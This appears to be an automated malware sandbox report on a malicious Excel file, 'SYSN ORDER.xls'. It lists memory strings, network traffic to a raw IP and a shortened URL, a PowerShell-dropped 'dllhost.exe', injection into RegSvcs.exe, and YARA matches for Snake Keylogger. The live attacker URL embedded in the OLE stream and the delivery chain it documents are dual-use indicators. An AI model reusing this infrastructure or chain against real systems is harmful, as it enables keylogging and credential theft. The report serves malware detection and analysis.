Source: RegSvcs.exe, 0000000E.00000002.630259466.00000000026B6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002700000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002606000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026A7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002696000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002499000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024B6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024FF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024C3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024A6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 0000000E.00000002.630259466.00000000026B6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002700000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002606000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026D2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002649000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000025FA000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.00000000026A7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.630259466.0000000002696000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002499000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000023F9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002448000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024B6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024D1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024FF000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024C3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.00000000024A6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 0000000E.00000002.630259466.0000000002561000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.632431722.00000000053CF000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.000000000071B000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.632454765.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.630215962.0000000002361000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegSvcs.exe, 00000017.00000002.629152726.0000000000416000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: mshta.exe, 00000004.00000003.417457596.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003091000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000787000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.632454765.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C1B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.417457596.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.417457596.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003091000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449516187.000000001A62F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000787000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.632454765.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.450490527.000000001C26D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.441192247.000000000386C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.441192247.00000000028AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000007.00000002.448635325.0000000012391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.450490527.000000001C1B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037B6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.629441326.0000000000758000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.629356941.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05

Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.123.6

Source: global traffic	DNS traffic detected: DNS query: og1.in
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: unknown	Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

Source: 00000017.00000002.629152726.0000000000416000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.629152726.0000000000416000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 3176, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 3176, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: SYSN ORDER.xls	OLE: Microsoft Excel 2007+
Source: B8230000.0.dr	OLE: Microsoft Excel 2007+

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\dllhost.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\dllhost[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\dllhost.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write

Source: SYSN ORDER.xls	Stream path 'MBD001B9740/\x1Ole' : https://og1.in/cIP5a8miBIeF/GQC',"YaFEdijZulawZYSksOQlKCUWxjdwUoA4h2GpYRQlYTPBA24YDisF2ZW9APJjMjVsD7InAfF30tXJqFHsNJPHgLhKVU47sdTJoHRZ7OtgjdqGyE1Z0FmDcCYjJOrVYsLAqhDnTkepq0MsMMtBouvigw8ZmOmIM31YFW10fPTlf5IBCSDjDt3SxoGb4QB8m46M0Pdma40d9k1F5XnmlLNx1GSAAJYMbxkk21wpXsW4Idy01pDY)?sjXp2w_]%jW<
